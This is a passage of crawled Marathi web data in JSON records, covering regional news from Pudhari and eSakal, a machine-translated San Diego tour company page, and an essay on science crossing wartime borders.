पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00351.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Curiosity-for-selection-of-committee-members/", "date_download": "2018-09-25T16:56:40Z", "digest": "sha1:6LT3AJPJATI5UASOEBI6OTKH2F37243Y", "length": 8095, "nlines": 39, "source_domain": "www.pudhari.news", "title": " शिक्षण समिती सदस्य निवडीची उत्सुकता | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › शिक्षण समिती सदस्य निवडीची उत्सुकता\nशिक्षण समिती सदस्य निवडीची उत्सुकता\nपिंपरी-चिंचवड महापालिकेच्या शिक्षण समितीच्या 9 सदस्यांची निवड करून समितीची स्थापना शनिवारी (दि.19) होणार्‍या सर्वसाधारण सभेत केली जाणार आहे. या समितीवर कोणाची निवड होते याकडे महापालिका वर्तुळाचे लक्ष लागले आहे. विविध विषय समितीप्रमाणे या समितीवर 9 नगरसेवकांना सधी दिली जाणार आहे. समिती स्थापन करण्यास आयुक्त श्रावण हर्डीकर यांनी 5 मे रोजीच्या पत्राद्वारे मंजुरी दिली होती. त्यामुळे शनिवारच्या सर्वसाधारण सभेत समितीची स्थापना होणार आहे. समितीमध्ये पक्षीय नगरसेवकांच्या बलाबलानुसार सत्ताधारी भाजपचे 5, राष्ट्रवादी काँग्रेसचे 3 आणि शिवसेनेच्या 1 सदस्य असणार आहेत.\nसमितीवर संधी मिळावी म्हणून इच्छुक नगरसेवकांनी स्थानिक पक्षनेत्यांसह मुंबईतील राज्यपातळीवर नेत्यांकडे मोर्चेबांधणी केली आहे. समितीवर वर्णी लागावी म्हणून खालपासून वरपर्यंत प्रयत्न सुरू आहेत. या हालचालीना अधिक वेग आला आहे.सभेच्या आदल्या दिवशी उद्या शुक्रवारी (दि.18) नावे निश्‍चित होणार आहेत. त्यामुळे इच्छुक शेवटच्या क्षणापर्यंत प्रयत्नशील आहेत. सत्ताधारी भाजपामधून शहराध्यक्ष आमदार लक्ष्मण जगताप, आमदार महेश लांडगे व निष्ठावंत या गटातून किती जणांना संधी मिळते, याची उत्सुकता लागली आहे. क्षेत्रीय कार्यालय समिती स्वीकृत सदस्यपदासाठी डावल्याने पक्षाच्या निष्ठावंत कार्यकर्त्यांनी उपोषणाचे हत्यार उपसले होते. त्यामुळे पक्षाची शहरात नाहक बदनामी झाली. या प्रकारे नगरसेवक नाराज होणार नाहीत, याची दक्षता सत्ताधार्‍यांना घ्यावी लागणार आहे.\nतसेच, सभापतीपदासाठी सत्ताधारी भाजपमधून काहीनी ‘फिल्डींग’ लावली गेली आहे. सभापतीपद कोणत्या गटाकडे जाते, त्या वरून समितीवर कोणत्या नेत्याचे नियंत्रण राहणार हे स्पष्ट होणार आहे.\nदरम्यान, राष्ट्रवादी काँग्रेसने समितीवर सदस्यपदासाठी इच्छुकांकडून अर्ज स्वीकारले आहेत. त्यातील तिघांची नावे पक्षनेते अजित पवार निश्‍चित करणार आहे. ही नावे सर्वसाधारण सभेत महापौर नितीन काळजे यांच्याकडे सादर केली जाईल, असे पक्षाच्या वतीने सांगण्यात आले.\nशिक्षण क्षेत्राची आवड असणार्‍या नगरसेवकांनी संधी\nशिक्षण क्षेत्रात काम करण्याची आवड असलेल्या नगरसेवकांना समितीवर सदस्य म्हणून प्राधान्य दिले जाणार आहे. तसेच, त्यांनी पूर्वी शिक्षण क्षेत्रात काम केलेले असावे. ते शिक्षक किंवा प्राध्यापक असावेत. पालिकेच्या शाळेचा दर्जा सुधारण्यासाठी काम करण्याची तळमळ असलेले नगरसेवकांना समितीवर संधी दिली जाणार आहेत. ही नावे उद्या (शुक्रवारी) निश्‍चित होऊ शकतात, असे सत्तारूढ पक्षनेते एकनाथ पवार यांनी सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00351.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://anothersideofsandiegotours.com/?lang=mr", "date_download": "2018-09-25T17:15:49Z", "digest": "sha1:FQ6GQSNEESQZED7QFA34PUF2NEFGOSYM", "length": 13213, "nlines": 103, "source_domain": "anothersideofsandiegotours.com", "title": "सण डीयेगो टूर्स सॅन दिएगो टूर्स दुसर्या टोकापाशी दुसर्या टोकापाशी- सर्वोत्तम टूर्स & सॅन दिएगो अनुभव!", "raw_content": "5 कामांची चौकशी करण्याची मागणी & Yelp वरील स्टार रेट टूर्स\n— मुख्य मेनू —मुख्यपृष्ठ सिटी टुर Segway टूर्स खासगी टूर्स टीम इमारत विक्रीवरील\t- काँबो टूर्स सर्व टूर्स\t- सिटी टुर - Segway टूर्स - खासगी टूर्स - बाइक टूर - टीम इमारत - विक्रीवरील - bachelorette पक्ष - बाल्बोआ पार्क टूर्स - ब्रूवरी टूर्स - कोरोनदो टूर्स - अन्न टूर्स - Gaslamp तिमाही आढावा - अर्धा दिवस सॅन दिएगो टूर्स - ट्रेकिंग टूर्स - ला Jolla टूर्स - लॉस आंजल्स टूर्स - लॉस आंजल्स टूर्स सण डीयेगो - यूएसएस मिडवे तिकीट & टूर्स - चालणे टूर्स - वाईन आढावा आमच्याशी संपर्क साधा\t- आमच्या विषयी - आमच्या ग्राहक - कॉर्पोरेट घटना - सानुकूल टूर विनंत्या - हॉटेलातील सुविधा कार्यक्रम - प्रेस\nअर्धा दिवस सॅन दिएगो टूर्स\nलॉस आंजल्स टूर्स सण डीयेगो\nयूएसएस मिडवे तिकीट & टूर्स\nजीवन साजरा & अप्रतिम आठवणी करा\nटूर्स प्रेम वितरित केले, करुणा, आणि आगाऊ योजनेची आखणी\n$149.00 *सर्वाधिक लोकप्रिय टूर *\nएक दिवशी सॅन दिएगो सर्वोत्तम पहा. जमीन एक पोवाडा मिळविण्यासाठी आमच्या सर्वाधिक लोकप्रिय सर्व दिवस शहर जाणून घ्या, आमच्या नाट्यमय महासागर दृश्ये पाहण्यासाठी, ऐतिहासिक खुणा भेट, सुंदर किनारे, आणि आमच्या सुंदर शहर अनुभव. आम्ही या छान दौरा आमच्या व्हीआयपी अतिथी म्हणून आपण होस्टिंग आणि अपेक्षा हा दौरा आहे 7 एक तास 1 मध्यभागी लंच साठी तास ब्रेक.\nहा दौरा सर्वोत्तम सॅन दिएगो 5-स्टार दौरा अनुभव देते. या मध्ये 3 तास दौरा आम्ही कोणत्याही सॅन दिएगो अभ्यागत वर मूलतत्त्वे कव्हर करेल \"अवश्य पहा\" बादली यादी. काय विविध उपकरणांची आम्ही एक स्थानिक मालकीच्या आणि ऑपरेट दौरा कंपनी आहे, पर्यटकांच्या यांनी बांधले, आणि आम्ही कुटुंब आमच्या अतिथी उपचार. आपण एक आश्चर्यकारक इच्छित असल्यास, सेंद्रीय, आणि एक व्यावसायिक दौरा कंपनी नैसर्गिक अनुभव, नंतर आमच्या अतिथी असेल आणि आमच्याबरोबर येथे बुक करा. आरक्षण आवश्यक.\nसेग्वे & कायक काँबो\nपूर्णपणे प्रसिद्ध आणि सुंदर ला Jolla जागतिक अनुभव नाही चांगला मार्ग आहे. हा दौरा आई निसर्ग मिश्रण आहे, उच्च संस्कृती, नाट्यमय महासागर दृश्ये, साहस, कला, आनंद, आणि सर्व मजा सर्वात. ला Jolla सॅन दिएगो च्या \"रत्नजडित\" असे म्हटले जाते आणि आपण पूर्णपणे का आमचा सर्वोत्तम टूर या उत्कृष्ट संयोजन आनंद नंतर कळेल.\nउडी सुरुवातीला एक दुचाकी दौरा योग्य आहे, नेमस्त, आणि टूर डी फ्रान्स रायडर्स खूप हा दौरा संपूर्ण नाट्यमय आणि आकर्षक महासागर दृश्ये वैशिष्ट्ये. आमच्या प्रतिभावान दौरा मार्गदर्शक आमच्या शहर सर्वात निसर्गरम्य भाग 2 तास 10-मैलाचे दुचाकी साहसी शोधक घेणे. आम्ही माऊंट पासून समुद्रपर्यटन. Windansea च्या सूर्याची soaked किनारे Soledad, ला Jolla Cove ला सर्व मार्ग. वाटेत, रुंद डोळे लक्झरी घरे घेणे, समुद्र-सिंहाच्या, आणि Ellen ब्राऊनिंग Scripps पार्क खूप. मोफत पाणी आणि स्नॅक्स देखील पुरवले जाते.\n$149.00 *सर्वाधिक लोकप्रिय बाईक टूर *\nअंतिम सण डीयेगो टूर\nहे आमच्या सर्वात लोकप्रिय खाजगी दौरा आहे. या दौऱ्यात, आमच्या अतिथी फसफसणारी दारु कोरोनदो अनुभव, ऐतिहासिक Gaslamp तिमाहीत, तेजस्वी आणि सुंदर बाल्बोआ पार्क, आणि ज्येष्ठ आणि ला Jolla भव्य, मुलांचे शिक्षण, विलक्षण आणि मूळचा किनारे सह. पृथ्वीवरील कोणत्याही इतर ठिकाणी प्रमाणे, सण डीयेगो जबरदस्त आकर्षक नैसर्गिक सौंदर्य एक भरपूर प्रमाणात असणे देते, श्रीमंत इतिहास आहे आणि ते सर्व पाहण्यासाठी सर्वोत्तम मार्ग हे विस्मयकारक खाजगी बार दौरा आहे.\nएक दिवस लॉस आंजल्स ते सण डीयेगो\nआपण सण डीयेगो हे सर्व मार्ग आहेत, परंतु आपण अद्याप लॉस एंजेल्स आणि का नाही जायचे लुझियाना छान आणि संस्कृती च्या जबरदस्त प्रमाणात जगातील सर्वात मोठी शहरात एक, कला, आणि इतिहास. लॉस आंजल्स आकर्षक इतिहास व सांस्कृतिक वारसा श्रीमंत एक कल-सेट जागतिक राजधानी आहे. सण डीयेगो एक निसर्गरम्य सागरी किनारपट्टी रेल्वे द्वारे हा जागतिक दर्जाचे शहर अन्वेषण ये आणि लॉस आंजल्स लागणा शहरात एक करा की सर्व सुंदर दृष्टी आनंद.\nमिशन बे बाईक टूर\nशहरात आमच्या सर्वाधिक लोकप्रिय बाइक टूर एक सण डीयेगो या जादूचा क्षेत्र एक्सप्लोर ये. भव्य आणि शांत मिशन बे आणि मिशन आणि पॅसिफिक बीच निवडक boardwalk भेट द्या. आम्ही वचन शकता एक गोष्ट आहे हे अभूतपूर्व क्षेत्र आम्ही घरी कॉल शिकून एक आश्चर्यकारक वेळ आहे.\nआमचे जगप्रसिद्ध टूर्स अनुभव द्या. झटपट ईमेल आणि ते कधीही कालबाह्य.\nअर्धा दिवस सॅन दिएगो टूर्स\nलॉस आंजल्स टूर्स सण डीयेगो\nयूएसएस मिडवे तिकीट & टूर्स\nआमच्या सर्वाधिक लोकप्रिय टूर्स\nसण डीयेगो हायलाइट्स टूर\nबाल्बोआ पार्क सेग्वे टूर\nअंतिम सण डीयेगो टूर\nसण डीयेगो Segway टूर\nप्रसिद्ध सण डीयेगो टूर\n300 जी स्ट्रीट, सण डीयेगो, जसे 92101\nकॉपीराइट © 2018 आणखी साइड टूर्स, इन्क. TCP परवाना #27520. सर्व हक्क राखीव. रद्द करण्याचे धोरण.", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00351.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://amp.esakal.com/maharashtra/marathi-news-maharashtra-news-farmer-long-march-government-102454", "date_download": "2018-09-25T16:45:51Z", "digest": "sha1:SRORPW4L7ZN5VALFMGCEUYH6NJ4DVVON", "length": 11460, "nlines": 61, "source_domain": "amp.esakal.com", "title": "marathi news maharashtra news farmer long march government ‘लाँग मार्च’ने सरकारला जाग!; मोर्चा आझाद मैदानात | eSakal", "raw_content": "\n‘लाँग मार्च’ने सरकारला जाग; मोर्चा आझाद मैदानात\nसकाळ न्यूज नेटवर्क | सोमवार, 12 मार्च 2018\nशेतकरी आंदोलनातील नेत्यांचा पूर्वेतिहास पाहता त्यापैकी काहींनी अडून बसत वेगळी भूमिका घेतल्यास मनधरणी करून त्यांना विधान भवनात आणण्याची जबाबदारी जलसंपदामंत्री गिरीश महाजन यांच्यावर सोपविण्यात आली आहे. कायदा व सुव्यवस्था चोख राखत शेतकरी यशस्वीपणे हाताळण्यासाठी मुख्यमंत्र्यांचे बारीक लक्ष राहणार आहे. शेतकऱ्यांच्या सर्व मागण्या मान्य केल्यानंतर संपूर्ण कर्जमाफीसाठी समिती नेमली जाईल. त्यानंतर अधिवेशन संपण्याआधी याबाबतची घोषणा सभागृहात केली जाईल, असे आश्‍वासन या शिष्टमंडळाला देण्यात येणार असल्याचे समजते.\nमुंबई - शेतकरी मोर्चाच्या मुद्द्यावरून राजकीय पक्ष राज्य सरकारची कोंडी करण्याच्या प्रयत्नात असतानाच, संपूर्ण कर्जमाफीसह शेतकऱ्यांच्या सर्व मागण्या सरकार सोमवारी मान्य करणार असल्याचे समजते. गेल्या वेळेप्रमाणेच आताही शेतकरी आंदोलनाच्या आव्हानाचा यशस्वी सामना करण्याची फडणवीस नीती सरकारने आखल्याचे संकेत आहेत. दरम्यान, परिक्षार्थी विद्यार्थ्यांना त्रास होऊ नये म्हणून हजारो शेतकऱ्यांनी मध्यरात्री पायपीट करत आझाद मैदान गाठले.\nमहाराष्ट्र किसान सभेच्या झेंड्याखाली नाशिकहून दरमजल करत रविवारी मुंबईतील सायन येथे पोचलेला शेतकऱ्यांचा ‘लाँग मार्च’ सोमवारी आझाद मैदानावर धडकला आहे. त्यानंतर मुख्यमंत्री देवेंद्र फडणवीस मोर्चेकऱ्यांच्या शिष्टमंडळाशी विधान भवनात चर्चा करतील. त्या वेळी शेतकऱ्यांच्या सर्व मागण्या मान्य करून त्याबाबतचे लेखी निवेदन सरकारकडून विधिमंडळात करण्यात येणार असल्याचे समजते. विधानसभा सदस्य, काँग्रेसचे ज्येष्ठ नेते पतंगराव कदम यांच्या निधनाचा शोकप्रस्ताव मांडण्यात आल्यानंतर हे निवेदन सरकार सभागृहात करणार आहे.\nदरम्यान, जलसंपदामंत्री गिरीश महाजन यांनी रविवारी मोर्चाला सामोरे जाऊन मोर्चेकऱ्यांना सरकारशी चर्चेचे निमंत्रण दिले. अन्न व नागरीपुरवठामंत्री गिरीश बापट यांनीही विक्रोळीतील कन्नमवार नगर येथे मोर्चाचे नेते अशोक ढवळे, अजित नवले यांच्याशी चर्चा केली. दरम्यान, शिवसेनेचे नेते एकनाथ शिंदे, आदित्य ठाकरे यांनी कन्नमवार येथे जाऊन मोर्चाल शिवसेनेचा पाठिंबा असल्याचे जाहीर केले.\nकाँग्रेस, राष्ट्रवादी काँग्रेस पक्ष, मनसेने या मोर्चास यापूर्वीच पाठिंबा दिला आहे. दहावी-बारावीच्या परीक्षा सुरू असल्याने तसेच वाहतूक कोंडी टाळण्यासाठी मोर्चेकऱ्यांना रविवारी रात्रीच आझाद मैदानाकडे जाण्याचे आवाहन पोलिसांनी केल्याचे सांगितले जात असले, तरी त्यास दुजोरा मिळालेला नाही.\nबोंड अळीच्या भरपाईबाबत निर्णयाचीही चिन्हे नाशिक जिल्ह्यातील नारपार-पिरपांजाळ प्रकल्पाचे काम युद्धपातळीवर पूर्ण करून शेतकऱ्यांना पाणी देता यावे, यासाठी केंद्रीय जलसंपदामंत्री नितीन गडकरी यांच्याकडे साकडे घालण्यात येणार आहे; तर बोंड अळीमुळे झालेल्या नुकसानीच्या भरपाईबाबतही सोमवारी ठोस निर्णय होण्याची शक्‍यता आहे. वैयक्‍तिक लाभाच्या सामाजिक योजनांबाबतही अर्थमंत्री सुधीर मुनगंटीवार सकारात्मक निर्णय घेणार आहेत.\nवेळेपूर्वीच परीक्षा केंद्रांवर जा शेतकरी मोर्चाच्या पार्श्‍वभूमीवर दहावी-बारावीच्या परीक्षेला जाणाऱ्या विद्यार्थ्यांनी वेळेपूर्वीत परीक्षा केद्रांवर पोचावे, असे आवाहन शिक्षणमंत्री विनोद तावडे यांनी केले आहे.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nऔषध व्यापार 'बंद' आंदोलनात साक्री तालुका केमिस्ट सहभागी\nनिजामपूर-जैताणे (धुळे) : साक्री तालुक्यातील निजामपूर, पिंपळनेर, दहीवेल, कासारे व म्हसदी येथे केमिस्ट असोसिएशनच्या तालुका पदाधिकाऱ्यांनी नुकत्याच औषध...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00352.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/maharashtra/cm-announces-inquiry-cidco-128468", "date_download": "2018-09-25T17:43:22Z", "digest": "sha1:XCZI6D4TCTX5MYBHE4KAIG7ODOLHTWIL", "length": 14123, "nlines": 177, "source_domain": "www.esakal.com", "title": "CM announces inquiry for CIDCO सिडको मुख्यमंत्री चौकशीची घोषणा | eSakal", "raw_content": "\nसिडको मुख्यमंत्री चौकशीची घोषणा\nगुरुवार, 5 जुलै 2018\nनागपूर : रायगड जिल्ह्यातील जमीन खरेदी प्रकरणातील घोटाळ्याबाबत कॉंग्रेसने केलेल्या आरोपांना मुख्यमंत्री देवेंद्र फडणवीस यांनी विधानसभेत गुरुवारी जोरदार प्रत्युत्तर देत विरोधकांच्या आरोपातील हवा काढून टाकली. याचबरोबर या भागातील 2001 पासूनच्या दोनशे प्रकरणांतील सहाशे हेक्टर जमिनीच्या वाटपाबाबत न्यायालयीन चौकशी करण्याचे फडणवीस यांनी जाहीर केले. त्यामुळे विरोधी नेत्यांनी माफी मागावी, अशी मागणी सत्ताधारी पक्षाने केली. त्या गोंधळात सभागृहाचे कामकाज दोनवेळा तहकूब करावे लागले.\nनागपूर : रायगड जिल्ह्यातील जमीन खरेदी प्रकरणातील घोटाळ्याबाबत कॉंग्रेसने केलेल्या आरोपांना मुख्यमंत्री देवेंद्र फडणवीस यांनी विधानसभेत गुरुवारी जोरदार प्रत्युत्तर देत विरोधकांच्या आरोपातील हवा काढून टाकली. याचबरोबर या भागातील 2001 पासूनच्या दोनशे प्रकरणांतील सहाशे हेक्टर जमिनीच्या वाटपाबाबत न्यायालयीन चौकशी करण्याचे फडणवीस यांनी जाहीर केले. त्यामुळे विरोधी नेत्यांनी माफी मागावी, अशी मागणी सत्ताधारी पक्षाने केली. त्या गोंधळात सभागृहाचे कामकाज दोनवेळा तहकूब करावे लागले.\nमुख्यमंत्री पदाच्या राजीनाम्याची मागणी विरोधी पक्षनेते राधाकृष्ण विखे पाटील यांनी केली होती. त्यासाठी सभागृहाचे कामकाज थांबवून स्थगन प्रस्तावावर चर्चा करण्यास त्यांनी मागणी केली. माजी मुख्यमंत्री पृथ्वीराज चव्हाण यांनीही या प्रकरणाला राजाश्रय असल्याचा आरोप केला. या दोन्ही नेत्यांनी विविध मुद्दे मांडत त्यांची बाजू मांडल्यानंतर फडणवीस उत्तर देण्यास उभे राहिले.\nफडणवीस म्हणाले, ‘‘रायगडमध्ये 627 प्रकल्पग्रस्तांना 606 हेक्टर जमीन आघाडी सरकारच्या काळात दिली. ती देण्याचे अधिकार अतिरिक्त जिल्हाधिकाऱयांना आहेत. त्यामुळे कोणताही मंत्री अथवा मुख्यमंत्र्यांशी त्यांचा संबंध येत नाही. आरोप होत असलेली नऊ हेक्टर जमीन फेब्रुवारीमध्ये दिली. ती शेतजमीन असून त्याची किंमत पाच कोटी रुपये आहे. प्रकल्पग्रस्तांना जमीन विकण्याचे अधिकार 2001 मध्येच देण्यात आले आहेत. या प्रकरणांना निर्णय अतिरिक्त जिल्हाधिकारी पातळीवर होत असल्यामुळे त्याचा संबंध मंत्र्यांशी येत नाही. अशाच प्रकारे गेल्या सरकारला काळात दोनशे प्रकरणांत जमिनी बिल्डरांनी घेतल्या आहेत. या सर्वच प्रकरणांची चौकशी करावी लागेल. त्यामुळे दूध का दूध और पानी का पानी होगा. सविस्तर खुलासा केल्यानंतर फडणवीस म्हणाले, ‘‘ तुम्ही माझा राजीनामा मागितला. आता तुम्ही विरोधी पक्षनेते पदाची राजीनामा देता का\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nशेतकऱ्यांची बाजार समितीबद्दलची विश्वासार्हता वाढली : समाधान आवताडे\nमंगळवेढा : दुष्काळसदृष्य तालुक्यातील शेतकऱ्यांच्या अडचणी ओळखून कृषी उत्पन्न बाजार समितीने शेतकर्‍यांसाठी अनेक हिताच्या योजना राहिल्याने...\nकल्याणकारी मंडळासाठी आर्थिक तरतूद करा - वृत्तपत्र विक्रेता संघटना\nकोल्हापूर - असंघटीत कामगार वृत्तपत्र विक्रेता कल्याणकारी मंडळासाठी राज्य सरकारने भरीव तरतूद करावी. यासह अन्य अन्य मागण्यांसाठी महाराष्ट्र राज्य...\nयेडियुरप्पांच्या नेतृत्वाला पक्षांतर्गत आव्हान\nबेळगाव - भाजपचे प्रदेशाध्यक्ष व माजी मुख्यमंत्री बी. एस. येडियुरप्पा कर्नाटकात भाजपला सत्ता मिळवून देण्यात अपयशी ठरले आहेत. शिवाय त्यांच्या...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00352.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/saptarang/sandeep-wasalekar-writes-about-science-41531", "date_download": "2018-09-25T17:22:46Z", "digest": "sha1:J67CS7PMH4UDIILN7K3BTRVANJCDOXMU", "length": 26268, "nlines": 194, "source_domain": "www.esakal.com", "title": "sandeep wasalekar writes about science विशाल मनाचं विज्ञान (संदीप वासलेकर) | eSakal", "raw_content": "\nविशाल मनाचं विज्ञान (संदीप वासलेकर)\nरविवार, 23 एप्रिल 2017\nभारतवर्षात व युरोपमध्ये सहाव्या-सातव्या शतकानंतर अंधार पसरला असताना तिथलं संशोधन जीवित कसं राहिलं आज आपल्याला ऍरिस्टॉटल व आर्यभट्ट यांची ओळख का आहे आज आपल्याला ऍरिस्टॉटल व आर्यभट्ट यांची ओळख का आहे याचं उत्तर बगदादमध्ये सापडेल याचं उत्तर बगदादमध्ये सापडेल बगदादमधल्या ‘बैत अल्‌ हिक्‍मा’या ‘थिंक टॅंक’च्या संचालकांनी या संशोधनाच्या भाषांतराचा - मानवी संस्कृतीच्या इतिहासातला सगळ्यात मोठा - प्रयोग राष्ट्रभक्तीमुळं अथवा धर्मप्रेमामुळं हाती घेतला नसता, तर आपल्याला भारत व ग्रीस इथल्या प्राचीन संशोधनाचा कदाचित थांगपत्ताही लागला नसता.ऍरिस्टॉटल व आर्यभट्ट, तसंच पायथॅगोरस व पाणिनी ही नावंदेखील आपण ऐकली असती की नाही कुणास ठाऊक\nभारतवर्षात व युरोपमध्ये सहाव्या-सातव्या शतकानंतर अंधार पसरला असताना तिथलं संशोधन जीवित कसं राहिलं आज आपल्याला ऍरिस्टॉटल व आर्यभट्ट यांची ओळख का आहे आज आपल्याला ऍरिस्टॉटल व आर्यभट्ट यांची ओळख का आहे याचं उत्तर बगदादमध्ये सापडेल याचं उत्तर बगदादमध्ये सापडेल बगदादमधल्या ‘बैत अल्‌ हिक्‍मा’या ‘थिंक टॅंक’च्या संचालकांनी या संशोधनाच्या भाषांतराचा - मानवी संस्कृतीच्या इतिहासातला सगळ्यात मोठा - प्रयोग राष्ट्रभक्तीमुळं अथवा धर्मप्रेमामुळं हाती घेतला नसता, तर आपल्याला भारत व ग्रीस इथल्या प्राचीन संशोधनाचा कदाचित थांगपत्ताही लागला नसता.ऍरिस्टॉटल व आर्यभट्ट, तसंच पायथॅगोरस व पाणिनी ही नावंदेखील आपण ऐकली असती की नाही कुणास ठाऊक\nआल्बर्ट आईनस्टाईन यांच्या विविध शोधांमुळं विज्ञानाला एक वेगळी दिशा मिळाली हे सगळ्यांना माहीत आहे; पण त्यांचं संशोधन जगात सर्वत्र पोचवलं कुणी व कसं\nआईनस्टाईन यांनी १९१५ मध्ये जर्मनीतल्या शास्त्रज्ञांच्या मंडळासमोर एक व्याख्यान दिलं व आपल्या सापेक्षतावादाचा सिद्धान्त मांडला. त्यांचं भाषण जर्मन भाषेत होतं. लेखनही जर्मन भाषेत होते. त्या वेळी पहिल्या महायुद्धानं युरोप पेटला होता. जर्मनीचा प्रमुख शत्रू ब्रिटन हे राष्ट्र होतं. ब्रिटनच्या व जर्मनीच्या सैन्यांनी एकमेकांना संपूर्ण पराभूत करण्याचा चंग बांधला होता. हजारो लोक मृत्युमुखी पडत होते. लाखो लोक लुळे-पांगळे व निर्वासित झाले होते.\nअशा परिस्थितीत ब्रिटनच्या शास्त्रज्ञांनी आईनस्टाईनच्या संशोधनाचं इंग्लिशमध्ये भाषांतर केलं. त्याची चाचणी सुरू केली व आईनस्टाईन यांचं संशोधन प्रत्यक्ष व्यवहारात आणण्यासाठी प्रयोग सुरू केले त्यात सर आर्थर एडिंग्टन हे शास्त्रज्ञ पुढे होते. त्यांना सापेक्षतावादाचं गणित तपासायचं होतं. त्यासाठी ते सूर्यग्रहणाची वाट पाहत होते. असं सूर्यग्रहण १९१९ मध्ये आफ्रिकेच्या किनारपट्टीवर दिसेल म्हणून ते तिथं गेले. त्या वेळी पहिलं महायुद्ध संपून जेमतेम सहा महिने झाले होते, तरीही ब्रिटनच्या सरकारनं एडिंग्टन यांचा प्रवासखर्च केला. इतकंच नव्हे तर, त्याआधी महायुद्ध सुरू असताना एडिंग्टन यांना आईनस्टाईन यांचं काम पुढं नेण्यासाठी सूटही दिली. या कामात एडिंग्टन यांना ब्रिटनच्या प्रमुख शास्त्रज्ञांनी सहकार्य केलं.\nएडिंग्टन यांनी आफ्रिकेतल्या त्यांच्या प्रयोगानंतर जेव्हा निष्कर्ष जाहीर केले, तेव्हा इंग्लंडच्या प्रमुख वर्तमानपत्रांनी ‘आईनस्टाईन यांचा विजय’ अशा अर्थाचा मथळा छापला व विज्ञानाच्या प्रगतीतला एक नवीन अध्याय सुरू झाला.\nजर महायुद्धाच्या कामात इंग्लंडच्या शास्त्रज्ञांनी ‘आईनस्टाईन हे शत्रुपक्षाचे आहेत; आम्हाला नाही बुवा त्याचं काही ऐकायचं’ किंवा ‘ आम्ही एवढे मोठे आणि काय तो धूळधाण होणारा जर्मनी देश शास्त्रज्ञांना जन्म देणार’ किंवा ‘ आम्ही एवढे मोठे आणि काय तो धूळधाण होणारा जर्मनी देश शास्त्रज्ञांना जन्म देणार’ अशा वल्गना केल्या असत्या किंवा राष्ट्रभक्तीच्या गप्पा मारत शत्रुराष्ट्राच्या विज्ञानाकडं 